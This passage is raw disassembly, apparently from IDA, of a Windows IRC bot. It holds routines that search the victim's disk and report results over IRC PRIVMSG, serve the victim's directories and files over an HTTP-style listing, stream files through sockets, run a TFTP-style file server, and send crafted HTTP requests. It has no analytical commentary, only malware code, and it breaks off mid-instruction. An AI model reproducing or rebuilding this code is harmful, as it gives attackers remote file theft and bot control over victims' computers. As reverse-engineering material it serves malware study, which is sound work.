loc_4046F5: ; CODE XREF: sub_404593+143j push [ebp+var_44C] call ds:dword_436500 ; closesocket push [ebp+var_B4] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread pop edi pop esi sub_404593 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404716 proc near ; CODE XREF: sub_404138+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415500 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40474C push eax push offset aS_3 ; "\\%s" jmp short loc_404755 ; --------------------------------------------------------------------------- loc_40474C: ; CODE XREF: sub_404716+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_404755: ; CODE XREF: sub_404716+34j lea eax, [ebp+var_10C] push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_415C80 test eax, eax pop ecx jbe short loc_4047F0 mov [ebp+arg_8], 2 loc_404780: ; CODE XREF: sub_404716+D8j lea eax, [ebp+var_10C] push eax call sub_415C80 cmp [ebp+arg_8], eax pop ecx jnb short loc_4047C0 cmp [ebp+esi+var_10C], 25h jnz short loc_4047C0 cmp [ebp+esi+var_10B], 32h jnz short loc_4047C0 cmp [ebp+esi+var_10A], 30h jnz short loc_4047C0 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4047DA ; --------------------------------------------------------------------------- loc_4047C0: ; CODE XREF: sub_404716+7Aj ; sub_404716+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_4047D0 push 5Ch pop eax jmp short loc_4047D3 ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_404716+B3j movsx eax, al loc_4047D3: ; CODE XREF: sub_404716+B8j mov [ebp+ebx+var_210], al loc_4047DA: ; CODE XREF: sub_404716+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_415C80 cmp esi, eax pop ecx jb short loc_404780 loc_4047F0: ; CODE XREF: sub_404716+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_415480 lea eax, [ebp+var_314] push offset asc_425FD0 ; "\n" push eax call sub_416C8F add esp, 18h lea eax, [ebp+var_314] push eax call ds:off_422080 push 1 cmp eax, 10h pop esi jz short loc_404841 cmp eax, 0FFFFFFFFh jnz short loc_404844 push [ebp+arg_0] jmp loc_4048C4 ; --------------------------------------------------------------------------- loc_404841: ; CODE XREF: sub_404716+11Cj mov [ebp+var_4], esi loc_404844: ; CODE XREF: sub_404716+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_404851 mov [ebp+var_4], esi loc_404851: ; CODE XREF: sub_404716+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4048CF cmp [ebp+arg_C], edi jz short loc_4048C3 lea eax, [ebp+var_314] push offset asc_425FCC ; "*" push eax call sub_415BA0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_415480 lea eax, [ebp+var_210] push eax call sub_405110 add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_415480 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40491E ; --------------------------------------------------------------------------- loc_4048C3: ; CODE XREF: sub_404716+152j push ebx loc_4048C4: ; CODE XREF: sub_404716+126j call ds:dword_436500 ; closesocket jmp loc_4049C6 ; --------------------------------------------------------------------------- loc_4048CF: ; CODE XREF: sub_404716+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:off_42207C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40491E lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_415480 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:off_422078 push esi mov [ebp+var_330], eax call ds:off_422074 loc_40491E: ; CODE XREF: sub_404716+1ABj ; sub_404716+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_425F8C push eax call sub_415480 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_414F2C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov ds:dword_43BEC4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_404593 push edi push edi call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov ds:dword_43BED4[ecx], eax jz short loc_404998 loc_404986: ; CODE XREF: sub_404716+280j cmp [ebp+var_318], edi jnz short loc_4049C6 push 5 call ds:dword_422054 ; Sleep jmp short loc_404986 ; --------------------------------------------------------------------------- loc_404998: ; CODE XREF: sub_404716+26Ej push ebx call ds:dword_436500 ; closesocket call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_425F44 push eax call sub_415480 lea eax, [ebp+var_8C4] push eax call sub_40A5B3 add esp, 10h loc_4049C6: ; CODE XREF: sub_404716+1B4j ; sub_404716+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_404716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049CD proc near ; CODE XREF: sub_404593+15Ap ; sub_40D2E0+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415500 mov edi, [ebp+arg_0] push offset asc_425FD0 ; "\n" push edi call sub_416C8F add esp, 14h cmp [ebp+arg_8], ebx jz short loc_404A2C push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_4159FA add esp, 14h jmp loc_404B2B ; --------------------------------------------------------------------------- loc_404A2C: ; CODE XREF: sub_4049CD+3Aj cmp [ebp+arg_C], ebx push edi jz loc_404B11 call sub_415C80 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send push edi call sub_415C80 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 0Ch jmp short loc_404B2B ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4049CD+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 10h loc_404B2B: ; CODE XREF: sub_4049CD+5Aj ; sub_4049CD+142j lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send cmp [ebp+arg_C], ebx jz short loc_404BC6 push [ebp+arg_C] call sub_415C80 cmp eax, 2 pop ecx jbe short loc_404BC6 push [ebp+arg_C] call sub_415C80 sub eax, 3 pop ecx jz short loc_404B77 loc_404B6B: ; CODE XREF: sub_4049CD+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_404B77 dec eax jnz short loc_404B6B loc_404B77: ; CODE XREF: sub_4049CD+19Cj ; sub_4049CD+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_416D30 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send loc_404BC6: ; CODE XREF: sub_4049CD+180j ; sub_4049CD+18Ej lea eax, [ebp+var_388] push eax push edi call ds:off_422094 lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:off_422090 test eax, eax jz loc_404FB6 mov edi, 1FFh loc_404BF2: ; CODE XREF: sub_4049CD+5E3j cmp [ebp+var_388], ebx jz loc_404F9E lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_404F9E lea eax, [ebp+var_35C] push offset a__1 ; "." push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_404F9E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_42208C ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_422088 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_404C67 mov ecx, offset aAm ; "AM" loc_404C67: ; CODE XREF: sub_4049CD+293j cmp ax, 0Ch movzx eax, ax jbe short loc_404C73 sub eax, 0Ch loc_404C73: ; CODE XREF: sub_4049CD+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_415480 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_404E16 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_404CE7 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_404F5F ; --------------------------------------------------------------------------- loc_404CE7: ; CODE XREF: sub_4049CD+2E0j cmp [ebp+arg_C], ebx jz loc_404DD1 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_4159FA add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send lea eax, [ebp+var_35C] push eax call sub_415C80 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404D87 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_404D8C ; --------------------------------------------------------------------------- loc_404D87: ; CODE XREF: sub_4049CD+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_404D8C: ; CODE XREF: sub_4049CD+3B8j lea eax, [ebp+var_248] push edi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_404F60 ; --------------------------------------------------------------------------- loc_404DD1: ; CODE XREF: sub_4049CD+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_4159FA add esp, 14h jmp loc_404F6F ; --------------------------------------------------------------------------- loc_404E16: ; CODE XREF: sub_4049CD+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_404E55 push ebx push [ebp+var_368] call sub_40B62E pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_404E41: ; CODE XREF: sub_4049CD+577j lea eax, [ebp+var_248] push eax call sub_4159FA add esp, 1Ch jmp loc_404F6F ; --------------------------------------------------------------------------- loc_404E55: ; CODE XREF: sub_4049CD+44Fj cmp [ebp+arg_C], ebx jz loc_404F49 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_4159FA add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send lea eax, [ebp+var_35C] push eax call sub_415C80 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404EF5 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_404EFA ; --------------------------------------------------------------------------- loc_404EF5: ; CODE XREF: sub_4049CD+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_404EFA: ; CODE XREF: sub_4049CD+526j lea eax, [ebp+var_248] push edi push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_404E41 ; --------------------------------------------------------------------------- loc_404F49: ; CODE XREF: sub_4049CD+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_404F5F: ; CODE XREF: sub_4049CD+315j push esi loc_404F60: ; CODE XREF: sub_4049CD+3FFj lea eax, [ebp+var_248] push eax call sub_4159FA add esp, 18h loc_404F6F: ; CODE XREF: sub_4049CD+444j ; sub_4049CD+483j lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send cmp [ebp+arg_8], ebx jz short loc_404F9E push 7D0h call ds:dword_422054 ; Sleep loc_404F9E: ; CODE XREF: sub_4049CD+22Bj ; sub_4049CD+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:off_422090 test eax, eax jnz loc_404BF2 loc_404FB6: ; CODE XREF: sub_4049CD+21Aj push [ebp+arg_0] call ds:off_422084 cmp [ebp+arg_8], ebx jz short loc_404FF9 mov eax, [ebp+var_8] cdq push edx push eax call sub_40B62E pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40B62E pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_415480 add esp, 14h jmp short loc_40502D ; --------------------------------------------------------------------------- loc_404FF9: ; CODE XREF: sub_4049CD+5F5j cmp [ebp+arg_C], ebx jz short loc_405013 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_415480 pop ecx pop ecx jmp short loc_40502D ; --------------------------------------------------------------------------- loc_405013: ; CODE XREF: sub_4049CD+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_415480 add esp, 10h loc_40502D: ; CODE XREF: sub_4049CD+62Aj ; sub_4049CD+644j lea eax, [ebp+var_248] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4364B8 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4049CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405053 proc near ; CODE XREF: sub_404593+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:off_42207C mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40510B push esi push ebx call ds:off_422078 cmp eax, esi mov [ebp+arg_4], eax jz short loc_405104 loc_405098: ; CODE XREF: sub_405053+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415500 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_4050B5 mov edi, [ebp+arg_4] loc_4050B5: ; CODE XREF: sub_405053+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:off_42209C lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:off_422098 push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_4050FF call ds:dword_4363FC ; WSAGetLastError cmp eax, 2733h jnz short loc_405104 xor eax, eax loc_4050FF: ; CODE XREF: sub_405053+9Bj sub [ebp+arg_4], eax jnz short loc_405098 loc_405104: ; CODE XREF: sub_405053+43j ; sub_405053+A8j push ebx call ds:off_422074 loc_40510B: ; CODE XREF: sub_405053+30j pop edi pop esi pop ebx leave retn sub_405053 endp ; =============== S U B R O U T I N E ======================================= sub_405110 proc near ; CODE XREF: sub_404716+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_415C80 test eax, eax pop ecx jbe short loc_405139 loc_405123: ; CODE XREF: sub_405110+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40512D mov byte ptr [esi+edi], 2Fh loc_40512D: ; CODE XREF: sub_405110+17j push edi inc esi call sub_415C80 cmp esi, eax pop ecx jb short loc_405123 loc_405139: ; CODE XREF: sub_405110+11j mov eax, edi pop edi pop esi retn sub_405110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40513E proc near ; CODE XREF: sub_40D2E0+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_4363E0 ; WSAStartup push 6 push 1 push 2 call ds:dword_4364E8 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415500 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_436468 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_409410 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_436410 ; connect cmp eax, 0FFFFFFFFh jz short loc_40521B mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_4051B7 mov eax, offset byte_4325D8 loc_4051B7: ; CODE XREF: sub_40513E+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_4159FA add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_4364B8 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_415560 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_436480 ; recv pop esi loc_40521B: ; CODE XREF: sub_40513E+6Bj push ebx call ds:dword_436500 ; closesocket call ds:dword_4363C8 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_415480 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_40525B push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_40525B: ; CODE XREF: sub_40513E+102j pop edi pop ebx leave retn sub_40513E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40525F proc near ; CODE XREF: sub_40525F:loc_40574Ap ; DATA XREF: sub_405898+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call ds:dword_4364E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_405322 push 190h call ds:dword_422054 ; Sleep call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_4265AC push eax call sub_415480 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_405302 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40BAE7 add esp, 14h loc_405302: ; CODE XREF: sub_40525F+7Ej lea eax, [ebp+var_780] push eax call sub_40A5B3 push [ebp+var_170] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread loc_405322: ; CODE XREF: sub_40525F+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov ds:dword_43BECC[eax], edi lea eax, [ebp+var_44] push eax call sub_415500 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call ds:dword_436468 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call ds:dword_436494 ; bind cmp eax, 0FFFFFFFFh jnz short loc_405387 push 1388h call ds:dword_422054 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_40574A ; --------------------------------------------------------------------------- loc_405387: ; CODE XREF: sub_40525F+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_415B78 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_405405 push 190h call ds:dword_422054 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_426578 push eax call sub_415480 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40BAE7 lea eax, [ebp+var_780] push eax call sub_40A5B3 push [ebp+var_170] call sub_415248 add esp, 28h push ebx call ds:dword_422044 ; ExitThread loc_405405: ; CODE XREF: sub_40525F+140j mov esi, 200h loc_40540A: ; CODE XREF: sub_40525F+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_40570A mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_415500 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call ds:dword_436450 ; select test eax, eax jle loc_4056FE mov al, ds:byte_4325D8 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call ds:dword_436440 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_415480 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4056E8 cmp [ebp+var_D7], 1 jnz loc_405634 lea eax, [ebp+var_274] push eax call sub_415C80 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_415C80 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_416EC0 add esp, 14h test eax, eax jnz loc_4055EE lea eax, [ebp+var_1C] push eax call sub_415C80 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_416EC0 add esp, 10h test eax, eax jnz loc_4055EE push ebx push ebx push [ebp+var_8] call sub_416E2E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_416BA7 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call ds:dword_4364CC ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_426530 loc_4055A2: ; CODE XREF: sub_40525F+484j lea eax, [ebp+var_780] push eax call sub_415480 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_4055DC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40BAE7 add esp, 14h loc_4055DC: ; CODE XREF: sub_40525F+358j lea eax, [ebp+var_780] push eax call sub_40A5B3 pop ecx jmp loc_4056FE ; --------------------------------------------------------------------------- loc_4055EE: ; CODE XREF: sub_40525F+2B6j ; sub_40525F+2D7j push [ebp+var_4] lea eax, 